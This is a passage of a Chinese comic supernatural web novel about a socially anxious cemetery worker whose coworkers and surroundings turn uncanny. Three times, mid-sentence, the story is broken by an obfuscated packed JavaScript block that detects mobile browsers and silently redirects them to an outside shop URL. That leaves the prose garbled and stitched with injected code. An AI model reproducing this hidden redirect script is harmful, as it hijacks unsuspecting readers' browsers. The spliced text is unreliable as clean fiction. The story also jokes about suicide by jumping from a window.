小圆的嘴巴飞快轻触安浔的耳垂。 安浔只觉得右耳一凉。 ……像被亲了一口。 安浔的脸“腾”地涨红一大片,后知后觉地捂住耳垂。不知道是不是心理作用,被触碰的区域变得又烫又痒。 “我给你留了一个标记。” 小布丁回到地上,坦荡道:“这样你就是只属于我的(食物)了。” ——没有人敢窥觑你。 安浔:“!” 安浔咕咚咽下一口口水。 原来这是在提醒他出门不要招猫逗狗,更不要把不三不四的猫猫狗狗领回家! 占有欲这块,居然也模拟了当代傲娇小猫吗?智能过头了吧! “我我我明白了!” 安浔立正,朝小布丁深鞠一躬,眼神坚定的像要入党:“放心吧!绝不背叛组织!” 宣誓完毕,安浔战战兢兢地出了门。 今天运气很好,电梯里没有人。 安浔的家住在十四层。这片小区的住户老年人居多,工作日的早上通常没什么人和他抢电梯,只是偶尔会遇见准备去遛弯的大爷。 大爷人很热情。 但是个话痨。一会问他哪毕业的,一会问他做什么工作的,再过一会问他有没有对象结没结婚。有时手里拎着早餐,还会招呼安浔“小伙子你来不来一口?”。 结果是安浔在电梯短短半分钟,却自闭了半个月。 而且大爷很神奇。 即使安浔为了不偶遇大爷,提前坐电梯下楼,也能在小区大门口、小区侧门口、小区花园遇见笑眯眯的大爷。 有一次,为了投喂安浔一个自家烙的韭菜盒子,大爷甚至追了他整整半条街! 以至于安浔在白天时,根本不敢从上述地方经过。 鑫和小区的设施都很老旧。 但好就好在这一点。 安浔前段时间,发现了一个通往街道的出口。那是一面破了个窟窿的墙,一直没修。还被茂盛的树木遮挡着,非常隐蔽,几乎没人经过。 从这面墙出去,不仅能少绕一圈就抵达停小电驴的充电棚,还完全规避了碰见大爷的风险!完美! 今天,安浔也从这条捷径走向了充电棚。 然而,棚子下的景象却让他大吃一惊。 电动车像被推倒的多米诺骨牌,在地面成群结片地侧翻,像被什么人疯抢过,许多充电线都断开了,场面一片狼藉。 安浔循着记忆走向自己停小电驴的地方,发现自己全款拿下的爱车被众多车子压在最下方。像极了被霸凌又唯唯诺诺不敢还手的小可怜。 安浔:………… 什么情况?有人在这打架了? 在这? 一个至少80%的住户都是老龄人的小区旁边?? 安浔的大脑开始播放七旬老太举着拐杖高呼“退退退”和隔壁坐轮椅看手机的八旬老头大打出手的画面…… 真是一场酣畅淋漓的战斗啊! 但又转念一想—— 不对。昨天不是下雨了吗? 狂风骤雨,给电瓶车刮倒一大片……嗯,倒也合理。 害,那没事了。 安浔认命地把周围的电车全都扶正,最后才骑着自己的小电驴上了公路,朝单位行进。 公路上十分清静,一台车子都没见到。但这里太偏,平时途经的车也不多,这并不奇怪。 安浔戴上耳机,开始播放之前下载的音乐。 出发!赚钱去~! …… ———— 临时作战指挥中心,被搭建在距离擎安市区东北方20公里的山区上。 这里就是距离最近的安全点。 再向市区靠近,指挥中心的所有人,都会遭受蚀体的负面影响。 “还是没办法进去吗?” 其中一个临时棚子内,一名顶着黑眼圈的青年恹恹发问。 经费有限,他那两条被作战裤包裹的大长腿不得不蜷在钓鱼凳上,忽略周围搭载的精密设备,简直像个出来野炊的大学生。 “报告陈队,”一旁的下属回答,“我们一共安排了四队人从不同方位分别向市区前进。但所有人无一例外,全都被那层屏障拦截在了外面,回程途中还遇到了低阶蚀体的围攻……” 青年接着问:“有需要支援的吗?” “暂时没有,这些潜伏在周边的低阶蚀体很好清除。碍于[茧幕]的存在,它们不敢靠近市区。” 陈羿川,现任擎安市大型蚀体入侵事件临时负责人,揉了揉太阳穴,拖着疲惫的身体走出棚子。 他看起来很年轻,尽管长达32小时都没合过眼,但依然比在场的大多数人要精力充沛。 陈羿川朝着悬崖边缘走去。 擎安市区一览无余地映入他的眼中——连带着那层将市区自下而上,呈半圆状彻底包裹的血红色薄膜。 那层薄膜呈网状结构,表面黏连着细密的血丝,上下鼓动着,仿佛在呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569247|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸,像生物的筋膜。 A级领域型蚀体:[茧幕]。 能用幕墙将一片区域包裹,通过定期降下消化液,来同化进食领域内的食物。 最恶心的一点在于:外围那层幕墙根本无法突破。 外面的人进不去,里面的人出不来,甚至连电信号都会被拦截,根本联络不上提前一天进入市区的同事。 也不知道市内现在什么情况。 陈羿川叹了口气。 更糟糕的是,就在距离[茧幕]几公里外的郊区,还有一片区域也爆发了侵蚀系数高到离谱的蚀体入侵。由于位置特殊,范围较小,那片区域暂时没人负责,他还得顺带盯一下。 “这下麻烦了,肯定来不及……”陈羿川焦躁地来回踱步。 来不及,根本来不及! 还有半个月就是毕业答辩了。照目前这个状况,两周之内能清缴[茧幕]的概率约等于0! 他不会被延毕吧? 救命啊,他不想最高学历只有高中啊!以后上哪找工作啊!!端盘子都卷到本科生了吧!!! 是的。 虽然是此次事件的临时负责人,但陈羿川只是兼职,本职真是大学生,22岁,今年毕业。 比陈羿川职级高的成员还有不少。 但就在最近几天,全国各地爆发了多起大型蚀体入侵事件,能用的人全被调走了。 本来说好了近一个月都不会打扰他,让他安心准备答辩,再过个难忘的毕业旅行,谁曾想总部根本不当人! 那个破电话一通接一通地打,什么“小陈啊你看现在实在是缺人,擎安市刚好离你近,你就去看看呗”,还有什么“耽误不了你多久,但这些时间对于擎安市民却是争分夺秒啊!”的各种鬼话。 在那一声声洗脑下,陈羿川高二那年决心加入拯救世界行列的中二病英雄情结居然真被唤醒了! 然后头脑一热就应下了。 现在好了哈哈。这咋毕业啊?总部说话! “陈队!”设备间负责观测的工作人员发出一声惊呼,“陈队!卧槽!!有人!!!!” 陈羿川一怔,连忙跑向棚子。 只见实时播放的设备屏幕上,是一个年轻男人的身影。 他戴着头盔,在空旷的公路上慢悠悠地骑着小电驴。而他身后不远处,正是茧幕血红色的屏障。这种特殊的电子设备,可以观测到蚀体的实体。 “卧槽!?” 陈羿川不可置信地瞪大双眼,“这什么人?从茧幕里出来了??” “还不清楚,但不像我们的人。”屏幕前的工作人员开始对照档案库检索信息,找了好几圈还是查无此人。 “呃……” “可能……是普通市民?”工作人员不确定道。 这实在是匪夷所思。 他们专业的一线清缴者都无法突破屏障,怎么一个普通市民就这么大摇大摆地出来了? 陈羿川指着屏幕,下令道:“继续追踪,看他要去哪。” “是!”那名工作人员将地图缩放,一个闪烁的红点在地图上持续移动,正是被他们定位的神秘骑车男。 盯着那红点移动的路线,工作人员不禁咂舌:“他这是去了……” 他们眼见着那红点,进入了地图上的“麟溪墓园”区域,然后停下了。 陈羿川:“……” 工作人员:“……” 陈羿川两眼一闭:“行了,不用看了。他已经死了。” 他爹的你个傻x! 你往哪跑不好,你往墓园跑!!!那地方的侵蚀系数比茧幕还高,你这不是送死呢吗啊啊啊啊啊啊啊啊!!! 4. 小发雷霆 (4) “啊嚏——” 安浔刚摘下头盔,收好耳机,就结结实实地打了个喷嚏。 薄荷绿色的小电驴熄了火,安浔踢下侧支撑,停稳车后拔出钥匙。 “阿嚏——” 又打了个喷嚏。 安浔有点不舒服地揉了揉鼻子,一阵狐疑。 怪了。 刚才骑车从市区出来的时候,眼前突然黑了一下,然后鼻子就开始发痒,接连打了好几个喷嚏。 难道是感冒了? 他骑车虽然不快,但早上气温确实有点低,路上还一直在吹凉风,大概是冻着了。 “明天再加个外套好了……” 安浔自言自语着,习惯性地掏出手机,结果一看时间:七点五十七分。 安浔:“!” 完了。一定是因为在充电棚扶车子浪费了太多时间。 他赶忙收起手机,以百米冲刺的速度向着麟溪墓园的员工通道跑去—— 安浔的工作时间是早上八点到下午四点。 由于工作性质特殊,一般都是和同事轮班休假。虽然不像企业公司那样,每天都有人严格监督打卡,但安浔还是本能地不想迟到。 毕竟,他是真的因为迟到被扣过工资。 那是安浔上班以来唯一一次迟到。早上因为拉肚子不小心晚了五分钟,结果在办公室门口刚巧碰见了一年都见不着几面的领导。 领导要他给个解释。 安浔当场社恐发作,阿巴阿巴了半天,但最后领导居然叫他不要狡辩,反手扣了他工资。 不·要·狡·辩。 那你**的还要解释干什么! 被扣钱其实还能忍,但当时领导还在走廊很大声地训斥他,连屋子里的同事都没忍住探头偷看,还一脸幸灾乐祸。对一个社恐来说,这简直比死还可怕。 人人都不看好他,偏偏他也不争气。 安浔差点当场从窗户跳下去。 ……所以! 千万不要迟到啊啊啊!要是不小心又被领导撞见了他这次一定会从窗户跳出去的!!那种事情不要啊啊啊啊啊啊啊啊!!! 安浔呼哧带喘地跑进园区,路过保安亭时注意到里面没人,但完全没有发现同事也要迟到了的救赎感。 因为,墓园的保安是个关系户,前天新来的。 还是个黄毛。 十八岁高中辍学,耳朵和脸上全是穿孔的那种。 保安服一脱就能露出胳膊上“大展鸿图”四个权威大字的纹身,很好地展现了身为保安的震慑性。 以及现实的讽刺性。 从黄毛入职到现在,安浔和他一句话都没说过,怕被打。 办公楼已经近在咫尺,安浔在心中默念着最后的倒计时。 就在他即将踏上办公楼前的台阶时,一道尖锐的声音突兀响起—— “安浔,迟到一秒钟,扣十块!” 安浔脚下一滑,吧唧摔在地上。 安浔:“……?” 他用手肘撑起身子,惊恐地环顾着四周。没见到人,但听见一阵诡异的动静—— 扑棱扑棱…… 只见一只圆润的犹如霉菌球的白鸽,正扇动着翅膀,缓慢停落在距离他脸最近的那截阶梯。 鸽子倨傲地扬起头颅,仿佛有一簇圣光从头顶洒下,险些把安浔闪瞎。 安浔:………… 他认出来了。 这是被养在食堂后院的鸽子。 路过的同事闲着没事总爱喂它一口,结果给它吃的膘肥体圆,随时可以送进食堂的大锅。 “看什么看!” “你迟到三十秒了!扣三百!!!”鸽子叽叽喳喳着,顺带蹬了蹬小短腿。 啊?什么? 一秒钟十块钱吗?怎么就扣三百块了?……不对,鸽子为什么说话了!! 安浔不可置信地瞪大双眼,正要说点什么,鼻子突然一痒—— 安浔:“啊……” 鸽子:“啊什么啊,听不明白话吗?笨比!” 安浔:“啊……” 鸽子:“唉,现在的年轻人就是没有时间观念。上班磨磨蹭蹭,下班无影无踪,一点吃苦耐劳的精神都没……” 安浔:“啊嚏——!!!!” 一瞬间。 周围的浮尘陡然惊起,连同远边的树木都在疯狂摇曳。地面凭空旋起一阵剧烈的风,朝着鸽子迅速袭去! 鸽子的眼神瞬间清澈了起来。 它拼命扑棱着翅膀,却还是被卷入风中,就像被送进滚筒洗衣机,以800转/分的速度旋转着。 转着转着,突然一脸痛苦地发出一声干呕:“yue——” 有什么东西簌簌飘落。 安浔睁开眼睛,不适地抖了抖肩膀,感觉这次喷嚏差点把脑髓打出来。 再看向台阶,发现鸽子已经不见了。 “咦?鸟呢?” 安浔左顾右盼着,却只在鸽子原本停留的位置,发现了三张暧.昧的红色钞票。 ……鸽子爆金币了? 不对啊!鸽子怎么会爆金币呢?话说刚才真有鸽子吗?? 好诡异怎么会有那么油腻又那么自信的鸽子啊!! 安浔茫然了一会,突然想起自己已经迟到了。手忙脚乱间他将纸币直接揣进了兜里,一溜烟跑进了办公楼。 麟溪墓园除了总负责人和厨子,平时常见的工作人员有四位,大家各司其职以完成日常工作。只有节假日缺人手到忙不过来时,才会外包一批来帮忙的临时工。 安浔气喘吁吁地推开门。 一瞬间,就感觉有好几道视线落在身上,如芒刺背。 由于轮班休假的缘故,通常来说,办公室里的人不会超过三个。 但是…… 一、二、三…… 四。 再算上站在门口的自己。 安浔:“……” 不应该啊,今天也不是特殊日子,为什么四个人都在?连那个黄毛都占了个办公位,他为什么不去保安亭待着?? “咯吱。” “咯吱咯吱……” 办公位上的黄毛好像在吃什么东西,吧唧嘴的声音很吵。 安浔不敢多看,低头迈着小碎步飞快坐进自己的位置,整个人都缩在了办公椅里。 四个人共享三十平方的空间。 感觉、已经、要窒息了…… 安浔不敢吱声,更不敢抬头。索性他一会的工作是去清理墓地区域,不必在办公室待太久。 他现在还在这,只是纯粹要放包,顺便连一下wifi。 是的。 因为手机从昨天开始就停机了。安浔也不好和邻居开口帮忙冲话费,毕竟光是叫邻居修理wifi就已经耗费了他所有的力气和手段。 所以他一直在等今早来单位蹭网时给手机缴费。 社恐嘛…… 宁愿麻烦自己,也不会麻烦别人的。 连上网络的手机很安静,并没有夺命连环call式地蹦出一大堆未读消息。 这全都归功于安浔奉行的“非必要不社交”原则。 他的微信聊天界面很干净,一眼就能望到头:一个工作群、几名同事,还有房东。界面最下方则是一个保留着初始头像的账号,日期显示上次的对话时间是在两年前。 看起来,昨晚没发生什么事。 整个通讯录都静悄悄的,似乎联不联网都没什么区别。 安浔点进话费充值系统,准备先充个20块用着,但输入支付密码后,手机页面却跳转出一行字:银行卡可用余额不足。 安浔一愣。 昨天查余额的时候,卡里明明还剩319.9。 用到下个月发工资刚刚好。 他明明算好的啊……? 不对劲! 这很不对劲!! “咯吱咯吱……” 黄毛还在嚼东西。 安浔开始冒冷汗,手指颤颤巍巍地点进余额查询。 一看银行卡余额:19.9。 安浔两眼一黑。 少了三百块。 啊?为什么?? 他昨天到家之后明明一分钱没花,他钱呢?? 他钱呢!!!??? “咯吱咯吱……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569248|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “咯吱咯吱咯吱……” 嚼嚼嚼嚼嚼嚼嚼。 嚼嚼嚼嚼嚼嚼嚼嚼嚼嚼嚼嚼。 好吵。 好吵。 好吵好吵好吵好吵。 “——吵死了!!!!!!!!!!!!!!” 等安浔回过神时,发现自己已经站了起来。 周围的三名同事全都一脸错愕地盯着他。 原本在嚼东西的黄毛突然一哽,面色涨红的像猪肝,卡在嘴边的什么血乎乎的东西,被他“咕咚”一声整个咽了下去。 “那个……小安呐。” 安浔对面办公位上的男人探出头,笑眯眯地盯着他。 “你消消气,小章才刚来,很多事都不懂。而且小孩儿吗要吃饭长身体的……”男人解释着。 安浔点点头,气鼓鼓地回到原位。坐了一小会之后,又突然反应过来—— 不对。 他刚才,发火了? 还当众凶黄毛吧唧嘴??? 安浔:“。” 不可思议。 因为按照人设来说,他应该任由黄毛在旁边嚼嚼嚼,窝窝囊囊地忍到声音消失。 然后等晚上睡觉时开始回忆白天的事,再一边哭一边扇自己巴掌。 难道是因为昨晚和房东对峙首战告捷,所以连社恐都治好一点了!? 安浔想了想,从兜里掏出了一粒盐酸帕罗西汀片。 他感觉自己现在强得可怕。 先吃个药冷静一下。 “喝点水吗,小安?” 装着温水的一次性纸杯很适时地被人递了过来。 安浔抬起头,发现对面的同事满脸关切地看着他。 同事叫程蔼。 麟溪墓园的接待员。主要工作是接待客户和推销墓地,很典型的销售岗。今年二十九岁,戴着一副很有设计感的黑框眼镜,有点骚包。 以工龄来说,干这么久销售还不油腻的男性上班族其实不多,程蔼算是之一。 但就算相貌再斯文养眼,也并不能提升墓地的销量。 毕竟他又不能给墓主陪葬。 何况,程蔼其实是个爱看菜下碟的虾头男。 安浔入职的第一周程蔼还对他既客气又照顾,后来大约摸清了安浔的底细,就对他爱搭不理起来,像极了和人随便玩玩就翻脸的渣男。甚至会在安浔上工时故意翘班,捏准了安浔不敢揭发他。 安浔昨天也是在替程蔼完成本属于他的工作。 但现在,这个虾头渣男居然在对他嘘寒问暖! 这也太诡异了。 不能是中邪了吧? 安浔:“。” 考虑到他的工作地点,这事还真说不准。 他默默推开水杯,婉拒了:“谢谢,不用了……” 第一次拒绝同事,安浔有点慌。 好在程蔼也没强求,只笑了笑,把纸杯放在一旁。 安浔从包里翻出水杯,先把药吃了,随后检查起自己的手机支付账单。 翻了半天,愣是没发现那三百块钱的去向。最新一笔支出是他昨天给小电驴付的充电费。 不应该啊? 安浔开始怀疑自己。 难道是他昨天看错了……? 办公室内静默了一会,但很快,对面的男人再次笑眯眯地起了话头: “对了,小安呐,其实有点事想拜托你——” 来了。 安浔深吸一口气。 他就知道,程蔼今天装的人模人样,绝对没憋什么好屁。 “是这样的,小章不是刚来吗?昨天还遇上点事没能过来,所以想你今天带他熟悉一下工作流程。” 程蔼絮叨着,起身走到安浔身后,又很小声地补充了一句:“你看你俩刚才不是闹得有点不愉快吗,正好你俩聊聊天,顺便增进下感情……” 说完还露出一副“看我对你好不好”的得意表情。 安浔:“…………” 一个社恐轻轻碎掉了。 哥,这种时候就不要乱秀高情商了吧? 而且单独相处…… 黄毛真的不会趁机揍他吗?qwq 5. 暴露疗法 (5) 安浔的左右脑又开始互相搏击了。 左脑:虽然但是,这确实是个和黄毛冰释前嫌的好机会…… 右脑:啊啊啊啊啊啊啊不要啊!!救命啊!!!!真被揍了高低要哭个三天起步啊qwq!!!!! 虽然但是…… 啊啊啊啊不要啊!!! 虽然但是…… 啊啊啊啊不要啊!!! …… 就这么持续了一会。 然后理智占据高地,左脑胜出了。 安浔没忘自己还处于治疗社恐的阶段。 林医生在看病时和他提了一嘴“暴.露式疗法”,说他越恐惧什么,越应该强制自己面对什么。 人嘛,可塑性都很强的。只要被强行扩张一下,就能慢慢习惯那个力度,再也不怕社交了。 而且,怎么说他也是凶过黄毛的人了。 必须把这事记上,等死后做成二维码刻他墓碑上,作为个人光辉事迹以供后人观赏。 要是一会真让黄毛揍了…… 实在不行就躺地上讹钱呗,不能白挨打(咬牙)。 安浔悲壮地站起身,点点头,算是应下了。 他紧绷着身体,四肢僵硬地一步步迈向斜对面的黄毛。 社恐又发作了,心脏狂跳,五官不受控制地各过各的。 贪吃的小嘴巴也紧张到疯狂吞字: “你。起来。走——” 话音落下,安浔飞快出了门。 留下办公桌前满脸钉子的黄毛安静如鸡。 他咕咚咽下一口口水,用求助的眼神看向办公室内唯一的女员工,小声问:“阮姐,他这是要吃了我吗?” 说完,又轻轻舔了舔唇边的血迹。 对面的女员工头都没抬,对着键盘敲敲打打,懒洋洋道:“少打听,赶紧去。” 黄毛:“……” 黄毛名叫章扬。 是市里某位领导家的小孩。不学无术、抽烟、喝酒、打架全套齐活,家里人实在没招了,正好墓园的老保安年纪大了要办退休,就给他送来体验生活了。 章扬刚出门,就看见一名青年站在走廊等他。 安浔…… 章扬仔细打量着。 看着很年轻,应该不比他大上多少。 身穿一件宽松的白衬衫,却遮掩不住高高瘦瘦的身型。黑发有点长、微卷,慵懒地散在脖颈,衬得皮肤苍白,似乎经常不见阳光。 此时,这人倚靠在窗边,刘海挡住小半眼睛,正盯着窗外不知在沉思什么,看着非常阴郁。 ——像是背过十几条人命。 章扬抽了下嘴角,小心翼翼地走过去,有点害怕:“安哥……” 实则安浔比章扬还害怕。 他发现自己在哆嗦,尤其控制不住脸上的表情,只能拼命牵动自己的嘴角,试图表达友好:“……嗯。” 章扬:“……” 他刚才是不是在撇嘴?……挑、挑衅? 安浔不敢看章扬,只用余光匆匆扫了眼,小声道:“走吧。” 章扬:“?” 甚至不拿正眼看人!! 安浔带着章扬走出办公楼。 小孩儿亦步亦趋地跟在身后,也不敢靠得太近。 安浔背脊一片发凉,脚步发虚,不由心想:他离这么远,一会不能背后搞偷袭吧? 想了想,转过身朝小孩儿勾了勾手指:“你,站我旁边……并排走。” 章扬:卧槽真的好嚣张!!! “好嘞,安哥。”他嘴上应得很快,嬉皮笑脸地凑了过去。 麟溪墓园建立在麟溪山的半山腰上,总占地面积约为2.5公顷。听上去很大,但可容纳的安葬单元其实只有两千七百个,仅能算作中小型规模的公共墓地。 安浔带着章扬出了办公楼。 走过墓园区域后,又穿过食堂、住宿楼、停车场,很快就绕到了未经开发的后山林区。 “这片山上没有人居住,但偶尔会碰见一些小动物,山猫野狗居多,有时可能还有蛇,不过都是没什么毒的品种,别害怕。如果不小心混进来了,就给它们放出去……” 介绍工作内容时,安浔说的还算顺嘴。 “你的主要工作就是在园区巡逻、检查过往车辆、确保园区的安全。只要不是节假日,平时来的人也不多,太阳太大的时候可以待在保安亭里休息,要是有客人来了就友善招待一下……” 小黄毛在旁边连连点头,眼睛闪闪发亮:“没问题!哥你懂得好多啊!!” 啊…… 这有什么的…… 安浔挠了挠头,没吭声。 “对了哥。”章扬凑到安浔身边,有点好奇地盯着他,“你偷偷告诉我,你是不是混过啊?我感觉你气质特别像!” 安浔眨了眨眼睛:“……混过?” 章扬拍拍胸脯,昂首挺胸:“对,就像我这样!” 啊? 像你这样? 安浔的大脑疯狂运转,仔细思索着他们两个有什么共通性,逐渐汗流浃背。 安浔:“……” 他觉得他和这个高中辍学、满脸钉子、还纹着纹身的小黄毛,可能只有一个共通点…… 安浔其实大学没毕业。 念到大三的时候因为一些原因……休学了,然后就再也没回去。 后来浑浑噩噩地过了一段时间,就被家里人搞到这来工作了。 直接上班其实挺好的,就算他努力完成学业获取毕业证书,也未必能找到像现在这样符合他性格的工作。 但是…… 安浔抿了抿嘴唇,小声问:“……很、很像吗?” 他看起来很像没上完大学的文盲吗!!! 章扬连连点头,露出一副“我就知道”的神秘表情,笑嘻嘻道:“对啊!特别像!!” 这种仿佛会在三更半夜偷偷把一个人剁掉的阴暗气质,简直不能再像了!!一看就道上混过还超有经验!大哥级别的!!! 安浔:“……哦。” 怎么办,有点想哭qwq。 啊啊啊啊啊啊不行!坚持住!!! “很高兴认识你!以后我就跟你混了,安哥!!” 黄毛兴高采烈地冲他抱拳,肚子也紧跟着发出赞同—— 咕噜。 咕噜咕噜。 “诶呀哈哈,怎么又饿了!” 黄毛尴尬地笑了起来,转身看向身边的植物,“哥,山上这些野果,能吃吗?” 安浔:“能,但你最好别……” 他还没说完,小黄毛已经飞快采下几颗红彤彤的覆盆子,三口并作两口,塞进嘴里嚼吧嚼吧,咕咚一声全咽了。 安浔:“……但你最好别吃。因为有些人负担不起墓地的费用,可能会把亲人的骨灰直接埋在这片后山的土壤里。” 章扬:“。” 好在小孩儿比较心大,没太当回事:“那我下次不吃了嘛哈哈,主要我真的好饿……” 嗡嗡嗡。 一只蜻蜓扇动着翅膀,忽悠悠地飞到了章扬的脸边。 小孩儿的注意力很快被蜻蜓吸引。 蜻蜓飞向左边,章扬的眼珠移向左边;飞向右边,眼珠移向右边;飞向中间…… 吸溜。 章扬伸出猩红的舌头,将蜻蜓卷入嘴中。 嚼嚼嚼。 安浔:“?” 他瞬间头皮发麻:“等等,你在干什么……?” 章扬还在咀嚼,口腔内传出虫子振翅挣扎的声响。 但这细微的低频音很快就消失了,因为他已经飞快吞咽了下去,喉结滚动。 章扬露出有点难为情的表情,解释道:“……就,太饿了嘛,早饭没吃饱。我还长身体呢。” “???”安浔瞪大双眼。 他愣在原地,又见章扬蹲到溪边,像只小狗一样四处嗅嗅闻闻,然后满脸兴奋地朝前一扑—— 呱。 呱呱呱。 一只深绿色的青蛙赫然出现在章扬手中。 章扬迫不及待地张开血盆大口,一口闷掉了青蛙的脑袋! 安浔吓得一巴掌甩了过去。 “卧槽!!你个大馋小子怎么什么都吃啊啊啊啊啊啊啊啊啊啊啊啊!!!” 啪!!!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569249|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章扬的眼神瞬间清澈了。 他的半边脸肿了老高,嘴边还活着的青蛙挣扎着蹬了几下腿,“啵”的一声从他嘴里滑了出来。顶着一脑袋诡异的暗红色黏液,呱呱呱地蹦走了。 章扬没生气,只是被这一巴掌砸下来,明显懵了。 他反应了几秒,这才露出有点委屈的眼神,“……哥?” 安浔深吸了一口气。 “……你,现在。跟我回去。” 事实证明,社恐急了,也会打人。 安浔把章扬带回办公室,先给小孩接了杯水。 “赶紧漱口。” 他把一次性纸杯怼到黄毛怀里,看着黄毛唇下的那两枚对称的恶魔钉,又嫌弃地加了句:“把你钉子摘了,拿下来洗洗。” “哦哦,好的。” 黄毛接过水,先把唇下的银钉拆了,这才开始漱口。 然后水从唇下的两个小孔漏出来了。 安浔:“。” 章扬:“。” 安浔:“你先弄着,等我一下。” 他转身出去了,从办公桌的抽屉里掏出一兜零食,放在了黄毛旁边。 “都、都给你了。”安浔小声说,“以后别吃生食了……不干净。” 黄毛:“……!” 他瞬间热泪盈眶,一把抱住安浔。 安浔:“!!!” 章扬感动地嚎啕大哭: “呜呜呜呜呜安哥!哥!你是我唯一的哥!!你知道吗我家里人全都对我爱答不理的,整天朝我翻白眼,好久没人这么关心我了……你怎么对我这么好啊!呜呜呜我要做你一辈子的小弟!!!” “……啊啊啊啊啊啊你松手啊!!!!!” 社恐崩溃地发出尖锐爆鸣。 啪!!! 清脆的声响。 黄毛又挨了一巴掌。 这下脸两边肿的很平均了。 …… ———— 总之,带新人的工作算是做完了。 安浔叹了口气,任劳任怨地开始进行日常工作。 安浔的岗位叫墓地管理员。 但其实并不是真正的管理岗,他不管人,只管墓。 而且这个岗位很反人类。 说白了就是清洁、维护、文书、接待、代理祭奠……什么都要干一点。说不上忙,但日常事务非常杂。 一般在上午时间,安浔会先清理一圈墓园里的贡品。 放久的鲜花会枯萎,隔日的食物会腐烂,不及时清理掉会严重影响墓园的卫生环境。 安浔照例从前排开始清理。 第一个需要清理的,是一盘被堆叠成金字塔状的橘子。 安浔戴上手套,刚拿起橘子,却发现手心一空。软塌塌的橘子皮瞬间散开,里面空落落的一块果肉都没见到。 安浔:“……” 他想了想,把橘子皮扔进了垃圾袋。 下一个墓主是位上了年纪的老妇人,家里很有钱。她的碑前散发着浓郁的酒香味,贡品是一瓶毛台、一瓶伍粮液和一瓶国骄。 哇。奶奶好海量。 他扯开袋子,准备把这些酒都清掉。但提起瓶子时却发现轻飘飘的,仔细一看,原来瓶子全空了。 安浔:“……?” 他想了想,把瓶子都收进了袋子。 再下一个墓碑。 上面放着一台Switch。 安浔抬起头,望向墓碑上的照片。 这块墓的主人是个孩子,去世的时候只有十六岁。据说患有先天性心脏病,在和朋友打篮球时永远离开了这个世界。 父母给他带来的贡品也五花八门,之前还放过一双很贵的球鞋。 安浔拎起那台Switch,结果发现包装盒上有被开启的痕迹。他一检查——盒子里面,充电线、说明书还有其他零部件全都在,唯独掌机不见了! 安浔:“……” 安浔想了想……他爹的别再想了!! 这绝对不是巧合啊!! 哪有每个墓的贡品都缺斤少两的,这不摆明是遭贼了吗!!! 啊啊啊啊啊到底什么情况!!! 6. 高清黑历史 (6) 安浔在麟溪墓园工作两年了。 除了偷藏贡果的大娘、专拿糖果的熊孩子、给自己吃成猪咪的流浪猫之外,园内还从没发生过性质如此恶劣的偷窃事件! 这么多贵重东西在墓园丢了,说什么也得查监控。 否则,责任很可能会被推卸到他的身上。 如果再被扣上什么清理东西时私藏贡品的帽子,怕是连工作都保不住。 所以这事必须得查。 他只是社恐,又不是怨种。 安浔回了办公室,先把事情和程蔼讲了一遍。 对方听完后朝他招招手,示意他过去。 “你先别急,小安。” 办公室里的其他人已经不见了。黄毛估计去巡逻了,另一个是阮姐,墓园的维修工,可能在进行日常的设备检修。 “我们现在就调监控,先从昨天的开始看起,没问题吧?” 程蔼坐在显示器前,点进一个文件夹,里面保留着近七日的监控视频。 安浔没意见,站在程蔼身后,保持了一个能让自己舒适的社交距离,轻轻点头:“嗯。” “行,那咱们先点开一个看看。” 程蔼操控着鼠标,在众多文件中翻出了5月30日的第一个视频。 视频被打开,画面中是一间空旷的办公室。 一名黑发青年正在手忙脚乱地送客户离开,点头哈腰的角度恨不得将自己整个折叠,柔韧性非常好。 安浔眼皮一跳,突然想起了什么,弱弱道: “等、等一下,这个好像不是……” 他抬手想去阻止,可惜来不及了。 只见监控里的青年半死不活地坐回办公椅,原地躺尸。 又过了几秒,青年毫无预兆地弹跳而起!随后面目狰狞,手脚并用着在地上爬来爬去…… 爬爬爬爬爬。 尖叫!扭曲!蠕动! 爬爬爬爬爬爬爬。 最后连哑光砖都被擦成了抛光砖,锃亮一片。 安浔:“……” 程蔼:“……” 安浔:“………………” 一时之间,连空气都凝固了。 安浔默默闭上眼睛。 人生。 他的人生结束了。 没有一丝犹豫。 安浔拔腿就跑,朝着旁边半开的窗户迅速奔去! 程蔼目瞪口呆:“!?” 但他很快就反应了过来:“小安!!你、你你你等一下!!!” 然而安浔已经半条腿越过了窗户——电光火石之间,程蔼一个箭步窜了过去,一把扯住安浔的衣领! 安浔抓着窗框,拼命向外使劲。 “啊啊啊啊啊你放开我!!我现在就离开这个世界!!!” 混乱的僵持中,程蔼的额角爆开大片青筋,一边拽着他一边大声吼道: “你听我说!这里是三楼,你就算跳了也不一定摔死!半身不遂的概率更大!!” 安浔:“……” 